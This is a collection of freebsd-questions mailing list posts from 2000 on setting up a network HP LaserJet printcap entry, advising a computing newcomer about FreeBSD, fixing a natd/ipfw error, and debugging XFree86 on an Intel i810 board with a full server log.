> > 9.4.3.1)  Here's my setup:  I have two Macintosh computers and my FreeBSD
> > box and an HP Laserjet 2100M (with the jetdirect NIC which does
> > understand lpd) all connected by a hub to a lynksys router.  I have a
> > static IP and all the computers and the printer are configured using DHCP
> > (only because I don't understand IP addressing enough to do other wise.)
> > Currently the local address of the printer is 192.168.1.100.  By
> > telneting to it I find:
> > HP JetDirect
> > Please type "?" for HELP, or "/" for current settings
> > > /
> >    ===JetDirect Telnet Configuration===
> >         Firmware Rev.   : G.07.20
> >         MAC Address     : 00:10:83:77:c1:17
> >         Config By       : DHCP
> >
> >         IP Address      : 192.168.1.100
> >         Subnet Mask     : 255.255.255.0
> >         Default Gateway : 192.168.1.1
> >         Syslog Server   : Not Specified
> >         Idle Timeout    : 90 Seconds
> >         Set Cmnty Name  : Not Specified
> >         Host Name       : NPI77C117
> >
> > And here's what I tried in the printcap file:
> > hplj2100:|text|hewlett packard laserjet 2100m:\
> >         :lp=:rm=NPI77C117:rp=hplj2100:sd=/var/spool/output/lpd/hplj2100:
> >
> > I know that's not right since:
> > %lp -d hplj2100 ./foo
> > (no output from printer, but I do see lights on the hub blink)
> >
> > but is it in the spool?    Files do appear in the spool directory
> > %lpq
> > lpq: printer not found
> > %lpq hplj2100
> > lpq: printer not found
> > %lpq text
> > lpq: printer not found
> >
> > Any help would be greatly appreciated.  I tried reading the termcap and
> > printcap man pages but they were confusing too.  I bet this is really
> > simple once you understand it but I'm pretty confused by the instructions
> > because they mostly seem to apply to a printer attached to host computer.
> > Thanks in advance,
> > Tim
> >
> >
> >
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Tim McMillen wrote:
> 
> Wow, as a true newcomer to computers I'd say FreeBSD would be quite a
> stretch (How'd you find us? :)
> 
> But it could be done if you were willing to be patient enough.
> In exchange for a tough learning curve at the start you would be rewarded
> with a very powerful, stable system.
> 
> I might get flak for saying this but I think you should get a macintosh
> with MacOS X on it.  It will be very easy to use but will have a FreeBSD
> like core under the hood.

I wouldn't give you any flak, I'm just curious why you would
recommend the 
Mac. Why would it be better than any custom 'pc'? I will admit, I
have never
used a Mac and know basicaly nothing about them.

> 
 comments below also
> 
> On Wed, 1 Nov 2000, Anthony J Knapp wrote:
> 
> > Help, please!
> > As a newcomer to any kind of computing, and as one who'd like to get
> > away from Windows, what is the easiest way to start with Freebsd?
> 
> Well, install it first.  Maybe get a computer savvy friend to install it
> for you.  Or buy a system that has it already on it.  Once it is installed
> if you use one of the desktops like KDE or GNOME you should be ok

The install is quite easy now with the new 4.x versions, I think
a newby could
handle it. The most important thing to know is you monitor specs
- h sync, 
vert refresh, and your video card specs - or make sure it is on
the Hardware
Compatibility List (find it on the freebsd.org site).

As for the desktop, IMHO, a newby would probably be most
comfortable starting
with kde IF they are coming from the ms winblows world. If this
person is 
truly complete new to computing, then he may as well start with
something 
completely differant - XFCE comes to mind, quite easy to use and
configure.
 
> > I've tried to trace a plain English book on the subject without success.
> 
> There are two:  "The Complete FreeBSD" by Lehey
> and the "FreeBSD Handbook"
> >
> > Is Freebsd suitable for beginners?  Could I run the normal
> > wordprocessing, database, and spreadsheet applications with it?
> 
> You wouldn't be able to run the applications that everybody else
> (Windows) uses, but there are such applications for FreeBSD.

You have Wordperfect 8, a free download or buy it at a store with
the
book. There's StarOffice, loads and saves ms word files and ms
excel
files. I believe it is compatible with access also. There is
AbiSuite, 
another 'office suite'. And I believe the ports tree is up to
around 4000 
ports now, if I remember correctly from my last visit to
freebsd.org.

> > Thanks,
> >
> >
> > Tony Knapp (membership no 20001001)
> 
>         I commend your courage.  If you really poured through those books
> and the website (www.freebsd.org) you might just be able to do it.  Good
> luck.  It would be a worthy adventure.
> 
>                                                 Tim

Absolutely give it a go. You've got plenty of help here on this
list and 
there may be a fbsd user group in your city. I believe there is a
list or at
links to a list of them on the freebsd.org site.

Wishing you the best,

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On Wed, Nov 01, 2000 at 01:26:24AM -0500, Tim McMillen wrote:
> Well, install it first.  Maybe get a computer savvy friend to install it
> for you.  Or buy a system that has it already on it.  Once it is installed
> if you use one of the desktops like KDE or GNOME you should be ok
If he had not used Windows, he does not need KDE or GNOME. They can look
reasonable comfortable for Windows users, but for newscomer ?
I think, that MacOS X is reasonable good advice, but he can feel comfortable
even with command line :-) Easy of use, and easy for work IS NOT same as 
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On Wed, Nov 01, 2000 at 10:19:40AM +0400, Rino Mardo wrote:
> I concur.  FreeBSD is not for the faint of heart.  You might want to try
> Storm Linux or SuSe 7 which are far, far better than RedHat or Mandrake.
This is not Linux list, but for easy of use I do not recommend both
Storm and RedHat. I never used Mandrake and SuSE (I just cant download SuSE 
ISO, because it is not avaliable). I have setup Caldera OpenLinux eDesktop2.4
on my girfriend's PC at home. She has Windows on it too, but can use
Linux for tasks like reading e-mail or browsing.
Caldera's OpenLinux is very easy to install, but FreeBSD is not hard to install
too. GUI installation is not same as "easy" installation.
So, if he does not need working desktop publishing workstation _NOW_ :-), I
still recommend FreeBSD, just wait for 4.2-RELEASE, and ask your friend
to help you.
But, generally, if I talk about friends, it is better install something, for 
which you have "live person near you" :-)

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Tony -

In response to others who've answered, I'd like to add that (in my
experience) if you're interested in some flavor of Unix and friends,
FreeBSD presents to a newcomer at least one advantage that I don't
think Linux can match: clear, thorough documentation. I was quite
impressed by the readability and depth (often conflicting goals!) of
Greg Lehey's book.  I learned Linux by chasing information on the
'net, but if I was a newbie all over again, I'm pretty sure that with
a book like Greg's, I'd have had a much easier time with FreeBSD than
I had with Linux.

I use Red Hat on my laptop, and I like it just fine, but it's a moving
target.  If you want to learn computing the right way, you can't do
better than here ... if you're persistent and willing to read, you'll
do fine.  The points about device support are certainly valid,
however. Cutting-edge hardware support, which many Linux distributions
have, really isn't one of FreeBSD's strengths.

Whatever you decide, have fun!
- -d

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Anthony J Knapp wrote:

>Help, please!
>
>As a newcomer to any kind of computing, and as one who'd like to get away from Windows, what is the easiest way to start with Freebsd?
>
>I've tried to trace a plain English book on the subject without success.
>
>Is Freebsd suitable for beginners?  Could I run the normal wordprocessing, database, and spreadsheet applications with it?
>
>
>Thanks,
>
>
>
>
>Tony Knapp (membership no 20001001)
>

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On Wed, Nov 01, 2000 at 10:22:35AM +0400, Rino Mardo wrote:
> yup.  i had an SiS 6326 and replaced it with a Matrox G200 AGP.  solved my
> problems!
Wow, $260 here in Sochi :-) With my home PC for $500 without monitor.
But this PC has Matrox Millenium II PCI with 4Mb :-)
Matrox cards is best cards for XFree from my expirience

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1.  static ip - you would have to telnet to your printer and you need it's
manual.  look for how to give it a static ip address.  make sure that your
masks are all the same.  for example, if you're using 192.168.1.100 now the
masks is 255.255.255.0 for your printer and your fbsd box.

2.  hosts file - use an editor and add the name in /etc/hosts with this
format:

xx.xx.xx.xx    NPI77C117

with xx's being replaced with the static ip address of your printer (i.e.
192.168.1.100)

3.  queue name - you have to consult your printer's manual for the queue
name.  once found, you use that in your /etc/printcap file where the
variable rp= is.




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Key fingerprint - E619 726E 3815 7A48 EAC7  E49F DF93 4E33 B069 0883



----- Original Message -----
From: "Tim McMillen" <timcm@umich.edu>
To: "Rino Mardo" <helixfish@gmx.net>
Cc: <freebsd-questions@freebsd.org>
Sent: Wednesday, November 01, 2000 10:37 AM
Subject: Re: Help with printcap file


>
>
> On Wed, 1 Nov 2000, Rino Mardo wrote:
>
> > It would be wise to have the printer on static ip.  Why?  Because either
you
>
> I know I want static but I don't know how.
>
> > **always** enter the printer's ipaddress in the /etc/hosts file (if you
want
> > to use the name like NPI77C117) or /etc/printcap (by ip address).
> >
> > So, is NPI77C117 in your hosts file?
>
> Huh?  I didn't see anything about this in the handbook.  What
> syntax do I use to add it?
>
> > What is the queue that your printer is using?  You need that too.
>
> queue? I don't know, how would I find out?  What would I do with
> it once I did?
> Thanks for the quick reply.
> Tim
>
> >
> > -> who watches the watchmen?
> >
> > Key fingerprint - E619 726E 3815 7A48 EAC7  E49F DF93 4E33 B069 0883
> > ----- Original Message -----
> > From: "Tim McMillen" <timcm@umich.edu>
> > To: <freebsd-questions@freebsd.org>
> > Sent: Wednesday, November 01, 2000 10:12 AM
> > Subject: Help with printcap file
> >
> >
> > >
> > > Hello,
> > >
> > > I'm trying to set up printing from my FreeBSD 4.1.1 Release box.
> > > I'm getting very confused with the instructions in the handbook
(Section
> > > 9.4.3.1)  Here's my setup:  I have two Macintosh computers and my
FreeBSD
> > > box and an HP Laserjet 2100M (with the jetdirect NIC which does
> > > understand lpd) all connected by a hub to a lynksys router.  I have a
> > > static IP and all the computers and the printer are configured using
DHCP
> > > (only because I don't understand IP addressing enough to do other
wise.)
> > > Currently the local address of the printer is 192.168.1.100.  By
> > > telneting to it I find:
> > > HP JetDirect
> > > Please type "?" for HELP, or "/" for current settings
> > > > /
> > >    ===JetDirect Telnet Configuration===
> > >         Firmware Rev.   : G.07.20
> > >         MAC Address     : 00:10:83:77:c1:17
> > >         Config By       : DHCP
> > >
> > >         IP Address      : 192.168.1.100
> > >         Subnet Mask     : 255.255.255.0
> > >         Default Gateway : 192.168.1.1
> > >         Syslog Server   : Not Specified
> > >         Idle Timeout    : 90 Seconds
> > >         Set Cmnty Name  : Not Specified
> > >         Host Name       : NPI77C117
> > >
> > > And here's what I tried in the printcap file:
> > > hplj2100:|text|hewlett packard laserjet 2100m:\
> > >
:lp=:rm=NPI77C117:rp=hplj2100:sd=/var/spool/output/lpd/hplj2100:
> > >
> > > I know that's not right since:
> > > %lp -d hplj2100 ./foo
> > > (no output from printer, but I do see lights on the hub blink)
> > >
> > > but is it in the spool?    Files do appear in the spool directory
> > > %lpq
> > > lpq: printer not found
> > > %lpq hplj2100
> > > lpq: printer not found
> > > %lpq text
> > > lpq: printer not found
> > >
> > > Any help would be greatly appreciated.  I tried reading the termcap
and
> > > printcap man pages but they were confusing too.  I bet this is really
> > > simple once you understand it but I'm pretty confused by the
instructions
> > > because they mostly seem to apply to a printer attached to host
computer.
> > > Thanks in advance,
> > > Tim
> > >
> > >
> > >
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On Tue, 31 Oct 2000, Chip wrote:

> I wouldn't give you any flak, I'm just curious why you would
> recommend the 
> Mac. Why would it be better than any custom 'pc'? I will admit, I
> have never
> used a Mac and know basicaly nothing about them.

	Well Basically because there are whole teams of people at apple
whose job is to make the OS easy to use.  They also have proffesional
interface designers whose job is to study how people interface with the
computer.  And these people's opinions are listened to unlike other
places.  When trying to get the same task done in windows and Mac, the
mac task is much easier.  Often when using Mac OS, I find myself saying
'man, somebody was thinking there'
	I don't use Mac unless I have to now that I have FreeBSD.  It's
not that much more stable then windows and is purposely designed for
someone who doesn't know what the OS is really doing and don't care to
know.
	Mac OS X, coming out soon (Beta already of course) will combine
that ease of use and well thought out interface with a solid unix core.
See www.apple.com/macosx/   if you dig around enough you can find some
details.
	And I would have to politely disagree with Igor and say that ease
of use (for a beginner;  ease meaning: does not have to learn too much to
get something done) does pretty much equate with GUI.  Now efficiency and
getting a lot done in a short time (power) are a different story.  A GUI
cannot do that well.
	
							Tim




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On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> I just decided to make my firewall rules more strict, so I set my type to
> "simple" in rc.conf... and now I get this error 
> Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> denied)
> 
This happens when ipfw blocks packets written back by natd(8).

> my rules are the same rules as the "simple" specification in rc.firewall. 
> 
There was a problem with the stock "simple" firewall, which has now been
fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).

> Could someone tell me how to get rid of this error?
> 
Make sure your rc.firewall is rev 1.30.2.5 or higher.

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I searched the archives and found a number of people struggling with
this the past couple months.  anyone succeed yet?

my status:
- Intel CA810EA motherboard w/733MHz PIII
- installed FreeBSD 4.1.1-RELEASE and rebuilt GENERIC kernel w/addition
  of ``device agp''
- cvsup ports collection and built XFree86-4.0.1 ports revision 4.
- generate basic XF86Config via xf86config and startx...
  output seems to show it doing bunches of stuff [I haven't quite figured
  out all this new modules stuff of 4.x yet] but then it craps out at end w/
>  (==) I810(0): Backing store disabled
>        This should not happen!
>        An unresolved function was called!

I tried the config file with and without ``Option "no_accel"'',
tried kernel with and without agp support.  pretty much same results
each time.

I've attached below my XFree86.0.log, XF86Config, and dmesg output.
wondering if anyone that has interest in looking might suggest
additional steps to try and/or tell me not to waste any more time
if this config is just not supported yet.

thanks for your time.  danny


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XFree86 Version 4.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6400)
Release Date: 1 July 2000
	If the server is older than 6-12 months, or if your card is newer
	than the above date, look for a newer version before reporting
	problems.  (see http://www.XFree86.Org/FAQ)
Operating System: FreeBSD 4.1.1-RELEASE i386 [ELF] 
Module Loader present
(==) Log file: "/var/log/XFree86.0.log", Time: Tue Oct 31 22:53:23 2000
(==) Using config file: "/etc/X11/XF86Config"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (??) unknown.
(==) ServerLayout "Simple Layout"
(**) |-->Screen "Screen 1" (0)
(**) |   |-->Monitor "Nokia 445Xavc"
(**) |   |-->Device "i810"
(**) |-->Input Device "Mouse1"
(**) |-->Input Device "Keyboard1"
(**) Option "AutoRepeat" "500 30"
(WW) Option "XkbCompat" requires an string value
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc101"
(**) XKB: model: "pc101"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(**) FontPath set to "/usr/X11R6/lib/X11/fonts/local/,/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/:unscaled,/usr/X11R6/lib/X11/fonts/100dpi/:unscaled,/usr/X11R6/lib/X11/fonts/Type1/,/usr/X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X11/fonts/100dpi/"
(**) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(==) ModulePath set to "/usr/X11R6/lib/modules"
(--) Using syscons driver with X support (version 2.0)
(--) using VT number 9

(II) Module ABI versions:
	XFree86 ANSI C Emulation: 0.1
	XFree86 Video Driver: 0.2
	XFree86 XInput driver : 0.1
	XFree86 Server Extension : 0.1
	XFree86 Font Renderer : 0.1
(II) Loader running on freebsd
(II) LoadModule: "bitmap"
(II) Loading /usr/X11R6/lib/modules/fonts/libbitmap.a
(II) Module bitmap: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	Module class: XFree86 Font Renderer
	ABI class: XFree86 Font Renderer, version 0.1
(II) Loading font Bitmap
(II) LoadModule: "pcidata"
(II) Loading /usr/X11R6/lib/modules/libpcidata.a
(II) Module pcidata: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 0.1.0
	ABI class: XFree86 Video Driver, version 0.2
(II) PCI: Probing config type using method 1
(II) PCI: Config type is 1
(II) PCI: stages = 0x03, oldVal1 = 0x00000000, mode1Res1 = 0x80000000
(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:00:0: chip 8086,7124 card 0000,0000 rev 03 class 06,00,00 hdr 00
(II) PCI: 00:01:0: chip 8086,7125 card 8086,4332 rev 03 class 03,00,00 hdr 00
(II) PCI: 00:1e:0: chip 8086,2418 card 0000,0000 rev 02 class 06,04,00 hdr 01
(II) PCI: 00:1f:0: chip 8086,2410 card 0000,0000 rev 02 class 06,01,00 hdr 80
(II) PCI: 00:1f:1: chip 8086,2411 card 8086,2411 rev 02 class 01,01,80 hdr 00
(II) PCI: 00:1f:2: chip 8086,2412 card 8086,2412 rev 02 class 0c,03,00 hdr 00
(II) PCI: 00:1f:3: chip 8086,2413 card 8086,2413 rev 02 class 0c,05,00 hdr 00
(II) PCI: 01:07:0: chip 1274,1371 card 8086,4332 rev 06 class 04,01,00 hdr 00
(II) PCI: 01:08:0: chip 1011,0009 card 0000,0000 rev 11 class 02,00,00 hdr 00
(II) PCI: End of PCI scan
(II) LoadModule: "scanpci"
(II) Loading /usr/X11R6/lib/modules/libscanpci.a
(II) Module scanpci: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 0.1.0
	ABI class: XFree86 Video Driver, version 0.2
(II) UnloadModule: "scanpci"
(II) Unloading /usr/X11R6/lib/modules/libscanpci.a
(II) Bus 1: bridge is at (0:30:0), (0,1,1), BCTRL: 0x02 (VGA_EN is cleared)
(II) Bus 1 I/O range:
	[0] -1	0x0000d000 - 0x0000dfff (0x1000) IXB
(II) Bus 1 non-prefetchable memory range:
	[0] -1	0xff800000 - 0xff8fffff (0x100000) MXB
(II) Bus 1 prefetchable memory range:
	[0] -1	0xf6a00000 - 0xf6afffff (0x100000) MXB
(--) PCI:*(0:1:0) Intel i810e rev 3, Mem @ 0xf8000000/26, 0xffa80000/19
(II) Addressable bus resource ranges are
	[0] -1	0x00000000 - 0xffffffff (0x0) MXB
	[1] -1	0x00000000 - 0x0000ffff (0x10000) IXB
(II) OS-reported resource ranges:
	[0] -1	0xffe00000 - 0xffffffff (0x200000) MXB(B)
	[1] -1	0x00100000 - 0x3fffffff (0x3ff00000) MXBE(B)
	[2] -1	0x000f0000 - 0x000fffff (0x10000) MXB
	[3] -1	0x000c0000 - 0x000effff (0x30000) MXB
	[4] -1	0x00000000 - 0x0009ffff (0xa0000) MXB
	[5] -1	0x00000000 - 0x000001ff (0x200) IXBE
(II) Active PCI resource ranges:
	[0] -1	0xff8ffc00 - 0xff8fffff (0x400) MXBE
	[1] -1	0xffa80000 - 0xffafffff (0x80000) MXB(B)
	[2] -1	0xf8000000 - 0xfbffffff (0x4000000) MXB(B)
	[3] -1	0x0000dc00 - 0x0000dcff (0x100) IXBE
	[4] -1	0x0000df00 - 0x0000dfff (0x100) IXBE
	[5] -1	0x0000efa0 - 0x0000efbf (0x20) IXBE
	[6] -1	0x0000ef80 - 0x0000efff (0x80) IXBE
	[7] -1	0x0000ffa0 - 0x0000ffbf (0x20) IXBE
(II) PCI I/O resource overlap reduced 0x0000ef80 from 0x0000efff to 0x0000ef9f
(II) Active PCI resource ranges after removing overlaps:
	[0] -1	0xff8ffc00 - 0xff8fffff (0x400) MXBE
	[1] -1	0xffa80000 - 0xffafffff (0x80000) MXB(B)
	[2] -1	0xf8000000 - 0xfbffffff (0x4000000) MXB(B)
	[3] -1	0x0000dc00 - 0x0000dcff (0x100) IXBE
	[4] -1	0x0000df00 - 0x0000dfff (0x100) IXBE
	[5] -1	0x0000efa0 - 0x0000efbf (0x20) IXBE
	[6] -1	0x0000ef80 - 0x0000ef9f (0x20) IXBE
	[7] -1	0x0000ffa0 - 0x0000ffbf (0x20) IXBE
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1	0xffe00000 - 0xffffffff (0x200000) MXB(B)
	[1] -1	0x00100000 - 0x3fffffff (0x3ff00000) MXBE(B)
	[2] -1	0x000f0000 - 0x000fffff (0x10000) MXB
	[3] -1	0x000c0000 - 0x000effff (0x30000) MXB
	[4] -1	0x00000000 - 0x0009ffff (0xa0000) MXB
	[5] -1	0x00000000 - 0x000001ff (0x200) IXBE
(II) All system resource ranges:
	[0] -1	0xffe00000 - 0xffffffff (0x200000) MXB(B)
	[1] -1	0x00100000 - 0x3fffffff (0x3ff00000) MXBE(B)
	[2] -1	0x000f0000 - 0x000fffff (0x10000) MXB
	[3] -1	0x000c0000 - 0x000effff (0x30000) MXB
	[4] -1	0x00000000 - 0x0009ffff (0xa0000) MXB
	[5] -1	0xff8ffc00 - 0xff8fffff (0x400) MXBE
	[6] -1	0xffa80000 - 0xffafffff (0x80000) MXB(B)
	[7] -1	0xf8000000 - 0xfbffffff (0x4000000) MXB(B)
	[8] -1	0x00000000 - 0x000001ff (0x200) IXBE
	[9] -1	0x0000dc00 - 0x0000dcff (0x100) IXBE
	[10] -1	0x0000df00 - 0x0000dfff (0x100) IXBE
	[11] -1	0x0000efa0 - 0x0000efbf (0x20) IXBE
	[12] -1	0x0000ef80 - 0x0000ef9f (0x20) IXBE
	[13] -1	0x0000ffa0 - 0x0000ffbf (0x20) IXBE
(II) LoadModule: "dbe"
(II) Loading /usr/X11R6/lib/modules/extensions/libdbe.a
(II) Module dbe: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	Module class: XFree86 Server Extension
	ABI class: XFree86 Server Extension, version 0.1
(II) Loading extension DOUBLE-BUFFER
(II) LoadModule: "extmod"
(II) Loading /usr/X11R6/lib/modules/extensions/libextmod.a
(II) Module extmod: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	Module class: XFree86 Server Extension
	ABI class: XFree86 Server Extension, version 0.1
(II) Loading extension SHAPE
(II) Loading extension MIT-SUNDRY-NONSTANDARD
(II) Loading extension BIG-REQUESTS
(II) Loading extension SYNC
(II) Loading extension MIT-SCREEN-SAVER
(II) Loading extension XC-MISC
(II) Loading extension XFree86-VidModeExtension
(II) Loading extension XFree86-Misc
(II) Loading extension DPMS
(II) Loading extension FontCache
(II) Loading extension TOG-CUP
(II) Loading extension Extended-Visual-Information
(II) Loading extension XVideo
(II) LoadModule: "type1"
(II) Loading /usr/X11R6/lib/modules/fonts/libtype1.a
(II) Module type1: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	Module class: XFree86 Font Renderer
	ABI class: XFree86 Font Renderer, version 0.1
(II) Loading font Type1
(II) Loading font CID
(II) LoadModule: "freetype"
(II) Loading /usr/X11R6/lib/modules/fonts/libfreetype.a
(II) Module freetype: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.1.7
	Module class: XFree86 Font Renderer
	ABI class: XFree86 Font Renderer, version 0.1
(II) Loading font FreeType
(II) LoadModule: "i810"
(II) Loading /usr/X11R6/lib/modules/drivers/i810_drv.o
(II) Module i810: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	Module class: XFree86 Video Driver
	ABI class: XFree86 Video Driver, version 0.2
(II) LoadModule: "mouse"
(II) Loading /usr/X11R6/lib/modules/input/mouse_drv.o
(II) Module mouse: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	Module class: XFree86 XInput Driver
	ABI class: XFree86 XInput driver, version 0.1
(II) I810: Driver for Intel i810 chipset: i810, i810-dc100, i810e, i815
(--) Assigning device section with no busID to primary device
(--) Chipset i810e found
(II) resource ranges after xf86ClaimFixedResources() call:
	[0] -1	0xffe00000 - 0xffffffff (0x200000) MXB(B)
	[1] -1	0x00100000 - 0x3fffffff (0x3ff00000) MXBE(B)
	[2] -1	0x000f0000 - 0x000fffff (0x10000) MXB
	[3] -1	0x000c0000 - 0x000effff (0x30000) MXB
	[4] -1	0x00000000 - 0x0009ffff (0xa0000) MXB
	[5] -1	0xff8ffc00 - 0xff8fffff (0x400) MXBE
	[6] -1	0xffa80000 - 0xffafffff (0x80000) MXB(B)
	[7] -1	0xf8000000 - 0xfbffffff (0x4000000) MXB(B)
	[8] -1	0x00000000 - 0x000001ff (0x200) IXBE
	[9] -1	0x0000dc00 - 0x0000dcff (0x100) IXBE
	[10] -1	0x0000df00 - 0x0000dfff (0x100) IXBE
	[11] -1	0x0000efa0 - 0x0000efbf (0x20) IXBE
	[12] -1	0x0000ef80 - 0x0000ef9f (0x20) IXBE
	[13] -1	0x0000ffa0 - 0x0000ffbf (0x20) IXBE
(II) resource ranges after probing:
	[0] -1	0xffe00000 - 0xffffffff (0x200000) MXB(B)
	[1] -1	0x00100000 - 0x3fffffff (0x3ff00000) MXBE(B)
	[2] -1	0x000f0000 - 0x000fffff (0x10000) MXB
	[3] -1	0x000c0000 - 0x000effff (0x30000) MXB
	[4] -1	0x00000000 - 0x0009ffff (0xa0000) MXB
	[5] -1	0xff8ffc00 - 0xff8fffff (0x400) MXBE
	[6] -1	0xffa80000 - 0xffafffff (0x80000) MXB(B)
	[7] -1	0xf8000000 - 0xfbffffff (0x4000000) MXB(B)
	[8] 0	0x000a0000 - 0x000affff (0x10000) MSB
	[9] 0	0x000b0000 - 0x000b7fff (0x8000) MSB
	[10] 0	0x000b8000 - 0x000bffff (0x8000) MSB
	[11] -1	0x00000000 - 0x000001ff (0x200) IXBE
	[12] -1	0x0000dc00 - 0x0000dcff (0x100) IXBE
	[13] -1	0x0000df00 - 0x0000dfff (0x100) IXBE
	[14] -1	0x0000efa0 - 0x0000efbf (0x20) IXBE
	[15] -1	0x0000ef80 - 0x0000ef9f (0x20) IXBE
	[16] -1	0x0000ffa0 - 0x0000ffbf (0x20) IXBE
	[17] 0	0x000003b0 - 0x000003bb (0xc) ISB
	[18] 0	0x000003c0 - 0x000003df (0x20) ISB
(II) Setting vga for screen 0.
(II) Loading sub module "vgahw"
(II) LoadModule: "vgahw"
(II) Loading /usr/X11R6/lib/modules/libvgahw.a
(II) Module vgahw: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 0.1.0
	ABI class: XFree86 Video Driver, version 0.2
(**) I810(0): Depth 16, (--) framebuffer bpp 16
(==) I810(0): RGB weight 565
(==) I810(0): Default visual is TrueColor
(--) I810(0): Chipset: "i810e"
(--) I810(0): Linear framebuffer at 0xF8000000
(--) I810(0): IO registers at addr 0xFFA80000
(--) I810(0): Will alloc AGP framebuffer: 4096 kByte
(==) I810(0): Using gamma correction (1.0, 1.0, 1.0)
(II) I810(0): Nokia 445Xavc: Using hsync range of  30.00-102.00 kHz
(II) I810(0): Nokia 445Xavc: Using vrefresh range of  50.00-150.00 Hz
(II) I810(0): Clock range:  12.00 to 163.00 MHz
(WW) I810(0): Mode "1024x768" deleted (unknown reason)
(WW) I810(0): Mode "1600x1200" deleted (bad mode clock/interlace/doublescan)
(WW) I810(0): Mode "1600x1200" deleted (bad mode clock/interlace/doublescan)
(WW) I810(0): Mode "1600x1200" deleted (bad mode clock/interlace/doublescan)
(WW) I810(0): Mode "1600x1200" deleted (bad mode clock/interlace/doublescan)
(WW) I810(0): Mode "1792x1344" deleted (insufficient memory for mode)
(WW) I810(0): Mode "1792x1344" deleted (insufficient memory for mode)
(WW) I810(0): Mode "1856x1392" deleted (insufficient memory for mode)
(WW) I810(0): Mode "1856x1392" deleted (insufficient memory for mode)
(WW) I810(0): Mode "1920x1440" deleted (insufficient memory for mode)
(WW) I810(0): Mode "1920x1440" deleted (insufficient memory for mode)
(--) I810(0): Virtual size is 1280x1024 (pitch 2048)
(**) I810(0): Default mode "640x480": 36.0 MHz, 43.3 kHz, 85.0 Hz
(**) I810(0): Default mode "800x600": 56.3 MHz, 53.7 kHz, 85.1 Hz
(**) I810(0): Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz
(**) I810(0): Default mode "1280x1024": 157.5 MHz, 91.1 kHz, 85.0 Hz
(==) I810(0): DPI set to (75, 75)
(II) Loading sub module "cfb16"
(II) LoadModule: "cfb16"
(II) Loading /usr/X11R6/lib/modules/libcfb16.a
(II) Module cfb16: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	ABI class: XFree86 ANSI C Emulation, version 0.1
(II) Loading sub module "cfb"
(II) LoadModule: "cfb"
(II) Loading /usr/X11R6/lib/modules/libcfb.a
(II) Module cfb: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	ABI class: XFree86 ANSI C Emulation, version 0.1
(II) Loading sub module "mfb"
(II) LoadModule: "mfb"
(II) Loading /usr/X11R6/lib/modules/libmfb.a
(II) Module mfb: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	ABI class: XFree86 ANSI C Emulation, version 0.1
(II) Loading sub module "xaa"
(II) LoadModule: "xaa"
(II) Loading /usr/X11R6/lib/modules/libxaa.a
(II) Module xaa: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 1.0.0
	ABI class: XFree86 Video Driver, version 0.2
(II) Loading sub module "ramdac"
(II) LoadModule: "ramdac"
(II) Loading /usr/X11R6/lib/modules/libramdac.a
(II) Module ramdac: vendor="The XFree86 Project"
	compiled for 4.0.1, module version = 0.1.0
	ABI class: XFree86 Video Driver, version 0.2
(II) do I need RAC?  No, I don't.
(II) resource ranges after preInit:
	[0] 0	0xffa80000 - 0xffafffff (0x80000) MSB
	[1] 0	0xf8000000 - 0xfbffffff (0x4000000) MSB
	[2] -1	0xffe00000 - 0xffffffff (0x200000) MXB(B)
	[3] -1	0x00100000 - 0x3fffffff (0x3ff00000) MXBE(B)
	[4] -1	0x000f0000 - 0x000fffff (0x10000) MXB
	[5] -1	0x000c0000 - 0x000effff (0x30000) MXB
	[6] -1	0x00000000 - 0x0009ffff (0xa0000) MXB
	[7] -1	0xff8ffc00 - 0xff8fffff (0x400) MXBE
	[8] -1	0xffa80000 - 0xffafffff (0x80000) MXB(B)
	[9] -1	0xf8000000 - 0xfbffffff (0x4000000) MXB(B)
	[10] 0	0x000a0000 - 0x000affff (0x10000) MSB(OprD)
	[11] 0	0x000b0000 - 0x000b7fff (0x8000) MSB(OprD)
	[12] 0	0x000b8000 - 0x000bffff (0x8000) MSB(OprD)
	[13] -1	0x00000000 - 0x000001ff (0x200) IXBE
	[14] -1	0x0000dc00 - 0x0000dcff (0x100) IXBE
	[15] -1	0x0000df00 - 0x0000dfff (0x100) IXBE
	[16] -1	0x0000efa0 - 0x0000efbf (0x20) IXBE
	[17] -1	0x0000ef80 - 0x0000ef9f (0x20) IXBE
	[18] -1	0x0000ffa0 - 0x0000ffbf (0x20) IXBE
	[19] 0	0x000003b0 - 0x000003bb (0xc) ISB(OprU)
	[20] 0	0x000003c0 - 0x000003df (0x20) ISB(OprU)
(==) I810(0): Write-combining range (0xffa80000,0x80000) was already clear
(==) I810(0): Write-combining range (0xf8000000,0x2000000)
(==) I810(0): Write-combining range (0xa0000,0x10000) was already clear
Setting dot clock to 36.0 MHz [ 0x10 0x1 0x40 ] [ 18 3 4 ]
() i810: chose watermark 0x22007000: (tab.freq 36.0)
(==) I810(0): Backing store disabled


